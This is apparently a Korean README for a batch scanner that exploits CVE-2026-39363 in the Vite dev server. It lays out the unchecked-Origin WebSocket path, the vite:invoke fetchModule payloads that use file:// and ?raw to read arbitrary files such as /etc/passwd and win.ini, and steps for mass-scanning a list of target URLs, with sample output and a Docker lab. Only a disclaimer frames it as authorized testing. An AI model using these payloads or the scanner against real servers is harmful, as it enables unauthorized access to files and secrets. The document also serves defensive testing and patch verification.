
Batch 취약점 스캐너로, Vite 개발 서버의 CVE-2026-39363을 대상으로 하며, WebSocket 출처 검증 우회를 악용해 file:// 프로토콜의 fetchModule을 통해 임의 파일을 읽습니다.
면책 조항: 이 도구는 승인된 보안 테스트 및 교육 연구 목적으로만 사용됩니다. 사용자는 현지 법률 및 규정을 준수해야 하며, 승인 없이 타인 시스템을 스캔하거나 공격하는 것은 불법 행위입니다. 저자는 어떠한 오용 행위에 대해서도 책임을 지지 않습니다.
Vite 개발 서버(6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4)의 HMR WebSocket이 Origin 헤더를 검증하지 않아, 공격자는 vite:invoke 이벤트를 통해 fetchModule을 호출하고 file:// 프로토콜과 ?raw 파라미터를 조합하여 server.fs.allow 제한을 우회하고 서버의 임의 파일을 읽을 수 있습니다.
url.txt → http://host:port
↓ host + port 파싱
↓
┌─ Step 1: ws://host:지정 포트 시도
│ ├─ WebSocket 핸드셰이크 성공 + exploit 성공 → 취약점 존재
│ └─ 실패 → 지정 포트 == 5173인 경우 → 취약점 없음
│
└─ Step 3: host:5173 탐지 (지정 포트 ≠ 5173인 경우에만)
├─ 포트 닫힘 → 취약점 없음
└─ 포트 열림 → 5173에서 WebSocket 핸드셰이크 + exploit
├─ 성공 → 취약점 존재
└─ 실패 → 취약점 없음
pip install -r requirements.txt
프록시를 활성화하려면 스크립트 26-27행의 주석을 해제하면 됩니다.
# 프록시를 사용하려면 아래 두 줄의 주석을 해제하고 올바른 프록시 주소와 포트를 설정하세요.
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
url.txt에 대상 URL을 한 줄에 하나씩 작성합니다:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
터미널:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
각 줄에는 POC 유형(
Linux/Windows)이 포함되어 있으며, 성공적으로 읽은 파일의 특징을 식별합니다.
| 대상 시스템 | 읽을 파일 | 특징 마커 |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
두 가지 payload 형식을 지원합니다(순서대로 시도):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| 파라미터 | 값 | 이유 |
|---|---|---|
| 하위 프로토콜 | vite-hmr | Vite HMR WebSocket 요구 사항 |
| Origin | 전송 억제 (suppress_origin=True) | Vite는 Origin 헤더가 있는 비브라우저 연결을 거부함 |
# 시작
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# 스캔
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# 정리
docker stop vite-vuln && docker rm vite-vuln
Q: 모든 탐지가 "취약점 없음"을 반환합니까?
--host 또는 server.host를 사용하여 네트워크에 노출되었는지 확인하세요.server.ws: false로 WebSocket이 비활성화되지 않았는지 확인하세요.Q: Windows에서 출력이 깨집니까?
Q: PowerShell에서 생성한 url.txt를 파싱할 수 없습니까?
utf-8-sig를 사용하여 BOM을 자동으로 건너뜁니다.